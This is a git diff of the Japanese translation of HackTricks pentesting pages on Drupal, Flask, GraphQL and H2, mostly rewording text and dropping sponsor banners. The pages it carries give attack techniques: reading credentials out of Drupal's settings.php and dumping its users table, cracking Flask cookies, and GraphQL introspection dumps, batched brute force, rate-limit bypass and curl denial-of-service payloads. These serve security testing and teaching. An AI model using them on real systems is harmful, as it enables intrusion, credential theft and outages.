- -{% embed url="https://websec.nl/" %} ## 発見 -- **meta**を確認する +- **メタ**を確認する ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` @@ -41,11 +38,11 @@ Drupalはデフォルトで**3種類のユーザー**をサポートしていま - **ユーザー数を取得する**: `/user/1`、`/user/2`、`/user/3`...にアクセスし、ユーザーが存在しないことを示すエラーが返されるまで続けます。 - **登録**: `/user/register`にアクセスし、ユーザー名を作成しようとすると、名前がすでに使用されている場合はサーバーからのエラーで示されます。 -- **パスワードリセット**: ユーザーのパスワードをリセットしようとし、ユーザーが存在しない場合はエラーメッセージで明確に示されます。 +- **パスワードリセット**: ユーザーのパスワードをリセットしようとすると、ユーザーが存在しない場合はエラーメッセージで明確に示されます。 ### 隠しページ -**`/node/FUZZ`**を調べて新しいページを見つけます。ここで**`FUZZ`**は数字(例えば1から1000まで)です。 +**`/node/FUZZ`**を調べて新しいページを見つけます。ここで**`FUZZ`**は数字(例えば1から1000)です。 ### インストールされたモジュール情報 ```bash @@ -71,8 +68,8 @@ drupal-rce.md ## From XSS to RCE -- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): Drupalの脆弱性を利用するスクリプトで、**XSSをRCEまたはその他の重大な脆弱性に昇格させます。** 詳細については[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Drupalバージョン7.X.X、8.X.X、9.X.X、10.X.Xをサポートし、次のことを可能にします:** -- _**特権昇格:**_ Drupalに管理ユーザーを作成します。 +- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): XSSをRCEまたはその他の重大な脆弱性に昇格させるDrupalエクスプロイトスクリプト。詳細については[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Drupalバージョン7.X.X、8.X.X、9.X.X、10.X.Xをサポートし、次のことを可能にします:** +- _**特権昇格:**_ Drupalに管理者ユーザーを作成します。 - _**(RCE) テンプレートのアップロード:**_ Drupalにバックドアを仕込んだカスタムテンプレートをアップロードします。 ## Post Exploitation @@ -85,8 +82,4 @@ find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\| ```bash mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 83a1cbcee..1a1dbcd9c 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - **おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**に関連しています。** ## Cookies @@ -21,7 +14,7 @@ #### Manual -クッキーの最初の部分を最初のポイントまで取得し、Base64デコードします。 +クッキーの最初の部分を最初のピリオドまで取得し、Base64デコードします。 ```bash echo "ImhlbGxvIg" | base64 -d ``` @@ -47,7 +40,7 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフロー**を簡単に構築および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 933071bb4..72dbb1d6c 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,19 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
-**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: +## Introduction -{% embed url="https://academy.8ksec.io/" %} - -## はじめに - -GraphQLはREST APIの**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTは、データを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いのに対し、GraphQLは**単一のリクエスト**で必要なすべての情報を取得できるようにします。この合理化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 +GraphQLは、バックエンドからデータをクエリするための**効率的な代替手段**として**強調されています**。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いのに対し、GraphQLは**単一のリクエスト**で必要なすべての情報を取得できます。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 ## GraphQLとセキュリティ -GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 +GraphQLを含む新しい技術の登場に伴い、新しいセキュリティの脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 ### ディレクトリブルートフォース攻撃とGraphQL @@ -29,7 +24,7 @@ GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ - `/graphql/api` - `/graphql/graphql` -オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: APIのためのクエリ言語。**](https://graphql.org/learn/introspection/) +オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### フィンガープリンティング @@ -43,7 +38,7 @@ query{__typename} ``` ### 基本列挙 -Graphqlは通常**GET**、**POST**(x-www-form-urlencoded)および**POST**(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 +Graphqlは通常、**GET**、**POST** (x-www-form-urlencoded) および **POST**(json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 #### インストロスペクション @@ -71,10 +66,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../images/image (416).png>) -**インテロスペクションを介してデータベーススキーマを列挙する** +**インストロスペクションを介してデータベーススキーマを列挙する** > [!NOTE] -> インテロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 +> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 ```bash #Full introspection query @@ -164,7 +159,7 @@ name } } ``` -インラインインストロスペクションクエリ: +インラインイントロスペクションクエリ: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` @@ -190,30 +185,30 @@ name ```javascript query={flags{name, value}} ``` -次の例のように、**クエリするオブジェクト**が**文字列**のような**プリミティブ****タイプ**である場合は、次のようにクエリできます: +次の例のように、**クエリするオブジェクト**が**文字列**のような**プリミティブ****タイプ**である場合は、次のようにクエリできます。 ```javascript query = { hiddenFlags } ``` 別の例では、"_Query_" タイプオブジェクトの中に "_user_" と "_users_" の 2 つのオブジェクトがありました。\ -これらのオブジェクトが検索に引数を必要としない場合、**必要なデータを要求するだけで**すべての情報を**取得できます**。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: +これらのオブジェクトが検索に引数を必要としない場合、**必要なデータを要求するだけで** **すべての情報を取得できます**。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: ![](<../../images/image (880).png>) -しかし、この例ではそうしようとすると、**エラー**が発生します: +しかし、この例では、そうしようとすると **エラー** が発生します: ![](<../../images/image (1042).png>) どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\ -とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていることはすでに知っていました:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +とにかく、私たちはすでに、[Basic Enumeration](graphql.md#basic-enumeration) セクションで、必要な情報をすべて表示するクエリが提案されていることを知っていました:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。 +そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があることがわかります。 したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -注意すべきは、**パラメータ** "_**user**_" と "_**password**_" を要求できることを**発見した**ことです。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: +私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見しました**。なぜなら、存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生するからです: ![](<../../images/image (707).png>) @@ -221,13 +216,13 @@ query = { hiddenFlags } **クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)** -文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を**検索**すると、すべてのデータが**ダンプ**されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 +文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索すると**、すべてのデータが **ダンプされます**。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 ### 検索 -このセットアップでは、**データベース**には **人** と **映画** が含まれています。 **人** は **メール** と **名前** で識別され、**映画** は **名前** と **評価** で識別されます。 **人** は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 +このセットアップでは、**データベース**には **人物** と **映画** が含まれています。 **人物** は **メール** と **名前** で識別され、**映画** は **名前** と **評価** で識別されます。 **人物** は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 -**名前**で人を**検索**し、彼らのメールを取得できます: +**名前** で人物を **検索** し、彼らのメールを取得できます: ```javascript { searchPerson(name: "John Doe") { @@ -285,7 +280,7 @@ name ``` ### Mutations -**ミューテーションはサーバーサイドで変更を加えるために使用されます。** +**ミューテーションはサーバー側で変更を加えるために使用されます。** **イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています: @@ -306,7 +301,7 @@ rating ``` **クエリ内で値とデータの型がどのように示されているかに注意してください。** -さらに、データベースは、`addPerson`という名前の**ミューテーション**操作をサポートしており、これにより**人物**の作成と既存の**友人**や**映画**との関連付けが可能になります。友人や映画は、新しく作成された人物にリンクする前に、データベースに存在している必要があることに注意することが重要です。 +さらに、データベースは、既存の**友人**や**映画**との関連を持つ**人物**の作成を可能にする`addPerson`という名前の**ミューテーション**操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。 ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -336,12 +331,12 @@ releaseYear ``` ### ディレクティブのオーバーロード -[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 +[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。 ### 1つのAPIリクエストでのバッチブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとしているブルートフォースボットがいないと考えさせることができます。 +**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能のおかげで、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です: @@ -355,13 +350,13 @@ releaseYear ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。 -さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL **スキーマ**を構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信したときに偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築します**。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信したときに偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。 ### GraphQLインストロスペクション防御の回避 -APIのインストロスペクションクエリに対する制限を回避するために、`__schema`キーワードの後に**特殊文字を挿入する**ことが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のある**スペース、改行、カンマ**のような文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります: +APIのインストロスペクションクエリに対する制限を回避するために、`__schema`キーワードの後に**特別な文字を挿入する**ことが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用しています。GraphQLが無視するが正規表現では考慮されない可能性のある**スペース、改行、カンマ**のような文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります: ```bash # Example with newline to bypass { @@ -369,7 +364,7 @@ APIのインストロスペクションクエリに対する制限を回避す {queryType{name}}}" } ``` -成功しない場合は、**GETリクエスト**や**`x-www-form-urlencoded`を使用したPOST**などの代替リクエストメソッドを検討してください。制限はPOSTリクエストのみに適用される場合があります。 +成功しない場合は、**GETリクエスト**や**`x-www-form-urlencoded`を使用したPOST**などの代替リクエストメソッドを検討してください。制限がPOSTリクエストのみに適用される可能性があります。 ### WebSocketsを試す @@ -397,9 +392,9 @@ payload: GQL_CALL, ws.send(JSON.stringify(graphqlMsg)) } ``` -### **露出したGraphQL構造の発見** +### **公開されたGraphQL構造の発見** -イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: +イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有効な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**公開された機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -423,7 +418,7 @@ GraphQLリクエストは通常、Content-Type **`application/json`**を使用 ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで送信される**ため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。 +したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで送信される**ため、CSRFを悪用してGraphQLに**変更を加える**ことが可能です。 ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。 @@ -445,9 +440,9 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク ## GraphQLにおける認可 -エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみを確認し、認可は確認しない場合があります。 +エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。 -クエリ入力変数を変更すると、機密アカウントの詳細が[漏洩](https://hackerone.com/reports/792927)する可能性があります。 +クエリ入力変数を変更すると、機密アカウントの詳細が[漏洩する](https://hackerone.com/reports/792927)可能性があります。 ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。 ```javascript @@ -459,19 +454,19 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク ``` ### GraphQLにおける認証バイパス -[クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 +[クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 -以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 +以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
## GraphQLにおけるエイリアスを使用したレート制限のバイパス -GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンスを**単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 +GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンスを単一のリクエスト内で取得する**のに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 -GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 +GraphQLエイリアスの詳細な理解のためには、次のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 +エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することによってブルートフォース攻撃を阻止するために設計されたレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避することができます。 以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 ```bash @@ -511,11 +506,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 +この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 ### **ディレクティブオーバーローディング脆弱性** -**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキューターを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。 +**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -523,14 +518,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -前の例では、`@aa`は**宣言されていない可能性がある**カスタムディレクティブです。通常存在する一般的なディレクティブは**`@include`**です: +前の例では、`@aa` は宣言されていない可能性のあるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます: +宣言されたすべてのディレクティブを発見するために、イントロスペクションクエリを送信することもできます: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -541,7 +536,7 @@ curl -X POST \ ### **フィールド重複脆弱性** -**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 +**フィールド重複**は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -584,10 +579,5 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSec Academy で学びましょう。自己ペースのコースを通じて iOS と Android のセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index dfe0d1b2a..118015597 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -2,17 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - 公式ページ: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## アクセス -**有効な資格情報なしで新しいデータベースを作成するために**、**存在しないデータベース名**を指定できます (**未認証**): +**有効な資格情報なしで新しいデータベースを作成するために** 